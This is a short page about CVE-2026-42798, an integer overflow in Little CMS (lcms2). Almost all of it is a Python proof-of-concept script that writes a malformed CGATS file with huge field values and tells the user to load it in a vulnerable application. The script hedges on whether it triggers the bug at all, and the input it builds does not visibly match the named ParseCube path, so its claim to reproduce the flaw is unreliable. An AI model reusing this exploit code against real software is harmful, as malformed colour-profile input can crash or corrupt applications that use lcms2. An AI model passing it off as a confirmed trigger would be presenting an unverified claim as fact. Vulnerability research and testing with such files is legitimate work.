CVE-2026-42798 Little CMS整数溢出漏洞

import struct # PoC for CVE-2026-42798: Integer Overflow in Little CMS ParseCube # This script generates a malformed CGATS file that may trigger the integer overflow. def generate_malformed_cgats(filename): header = b"CTI1\n" # Attempt to trigger large dimension parsing # The exact trigger depends on the vulnerable code path in ParseCube data = header data += b"NUMBER_OF_FIELDS 3\n" data += b"BEGIN_DATA_FORMAT\n" data += b"SAMPLE_ID SAMPLE_R SAMPLE_G\n" data += b"END_DATA_FORMAT\n" data += b"NUMBER_OF_SETS 1\n" data += b"BEGIN_DATA\n" # Using large values that might cause overflow in size calculations data += b"1 4294967295 4294967295\n" data += b"END_DATA\n" with open(filename, 'wb') as f: f.write(data) print(f"[+] Malformed CGATS file generated: {filename}") print("[+] Load this file with a vulnerable application using lcms2 to test.") if __name__ == "__main__": generate_malformed_cgats("poc_cve_2026_42798.txt")